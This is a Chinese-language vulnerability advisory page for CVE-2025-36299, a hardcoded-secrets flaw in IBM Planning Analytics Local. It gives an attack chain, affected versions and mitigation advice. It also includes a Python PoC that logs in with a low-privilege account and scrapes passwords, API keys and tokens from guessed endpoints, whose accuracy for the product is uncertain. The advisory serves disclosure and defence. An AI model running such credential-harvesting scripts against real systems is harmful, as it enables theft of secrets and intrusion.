IPBUF安全漏洞报告
English
CVE-2025-36299 CVSS 4.3 中危

CVE-2025-36299 IBM Planning Analytics Local 敏感信息存储漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-36299
漏洞类型
敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IBM Planning Analytics Local

相关标签

敏感信息泄露源代码硬编码IBM Planning Analytics Local信息窃取配置错误中等严重程度CVSS 4.3

漏洞概述

CVE-2025-36299是IBM Planning Analytics Local中的一个安全漏洞。该漏洞影响版本2.1.0至2.1.14,源于产品在源代码中存储了敏感信息。攻击者可以通过低权限访问获取存储在源代码中的敏感数据,这些信息可能被用于进一步攻击系统。漏洞的CVSS评分为4.3,属于中等严重程度,主要影响系统的机密性。由于攻击向量为网络远程攻击且无需用户交互,具有一定威胁性。IBM安全团队(PSIRT)于2025年11月17日披露此漏洞,建议受影响用户及时更新到最新修复版本以消除安全风险。

技术细节

该漏洞属于敏感信息存储不当类型,存在于IBM Planning Analytics Local的源代码中。攻击者通过低权限账户访问系统后,可以读取存储在源代码中的敏感信息,如认证凭据、API密钥、数据库连接字符串或其他机密配置数据。这些敏感信息若未加密或以明文形式存储,将直接暴露给攻击者。攻击者获取这些信息后,可用于横向移动、提权或进一步渗透系统。漏洞利用条件包括:1)攻击者需拥有系统的低权限访问权限;2)能够访问或读取应用程序的源代码文件;3)源代码中存在敏感信息的硬编码或不当存储。防御重点在于清理源代码中的敏感信息、使用环境变量或密钥管理服务替代硬编码凭据。

攻击链分析

STEP 1
步骤1
攻击者获取IBM Planning Analytics Local的低权限账户访问权限
STEP 2
步骤2
攻击者通过Web接口或API枚举可访问的源代码文件和配置文件
STEP 3
步骤3
攻击者读取源代码文件,提取硬编码的敏感信息如密码、API密钥、连接字符串等
STEP 4
步骤4
利用获取的敏感信息进行横向移动或提权攻击,进一步渗透系统
STEP 5
步骤5
攻击者可完全控制受影响系统或访问更多敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-36299 PoC - IBM Planning Analytics Local Sensitive Info Disclosure # This PoC demonstrates accessing source code with hardcoded sensitive information import requests import re TARGET = "http://target:port" # Target IBM Planning Analytics Local instance USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_cve_2025_36299(): """ Exploit for CVE-2025-36299: Sensitive information stored in source code """ # Step 1: Authenticate with low privilege account session = requests.Session() login_url = f"{TARGET}/api/login" auth_data = {"username": USERNAME, "password": PASSWORD} try: response = session.post(login_url, json=auth_data, timeout=30) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Enumerate accessible source files paths_to_check = [ "/api/source/config.js", "/static/js/app.bundle.js", "/api/settings/source", "/api/debug/config" ] sensitive_patterns = [ r'password[\s]*[:=][\s]*["\']([^"\']+)["\']', r'api[_-]?key[\s]*[:=][\s]*["\']([^"\']+)["\']', r'secret[\s]*[:=][\s]*["\']([^"\']+)["\']', r'token[\s]*[:=][\s]*["\']([^"\']+)["\']', r'connection[\s]*string[\s]*[:=][\s]*["\']([^"\']+)["\']' ] found_credentials = [] for path in paths_to_check: try: resp = session.get(f"{TARGET}{path}", timeout=30) if resp.status_code == 200: content = resp.text for pattern in sensitive_patterns: matches = re.findall(pattern, content, re.IGNORECASE) if matches: found_credentials.extend(matches) print(f"[+] Found sensitive data in {path}: {matches}") except Exception as e: continue if found_credentials: print(f"\n[!] Successfully extracted {len(found_credentials)} sensitive items") return found_credentials else: print("[-] No sensitive information found in accessible sources") return None except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-36299 PoC - IBM Planning Analytics Local") print("=" * 50) exploit_cve_2025_36299()

影响范围

IBM Planning Analytics Local 2.1.0
IBM Planning Analytics Local 2.1.1
IBM Planning Analytics Local 2.1.2
IBM Planning Analytics Local 2.1.3
IBM Planning Analytics Local 2.1.4
IBM Planning Analytics Local 2.1.5
IBM Planning Analytics Local 2.1.6
IBM Planning Analytics Local 2.1.7
IBM Planning Analytics Local 2.1.8
IBM Planning Analytics Local 2.1.9
IBM Planning Analytics Local 2.1.10
IBM Planning Analytics Local 2.1.11
IBM Planning Analytics Local 2.1.12
IBM Planning Analytics Local 2.1.13
IBM Planning Analytics Local 2.1.14

防御指南

临时缓解措施
立即限制对源代码文件的访问权限,确保低权限用户无法读取应用程序源代码。将源代码中的敏感信息(密码、密钥、连接字符串等)迁移至安全的密钥管理服务或环境变量中。同时联系IBM官方获取最新安全补丁,评估是否需要临时禁用相关功能以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表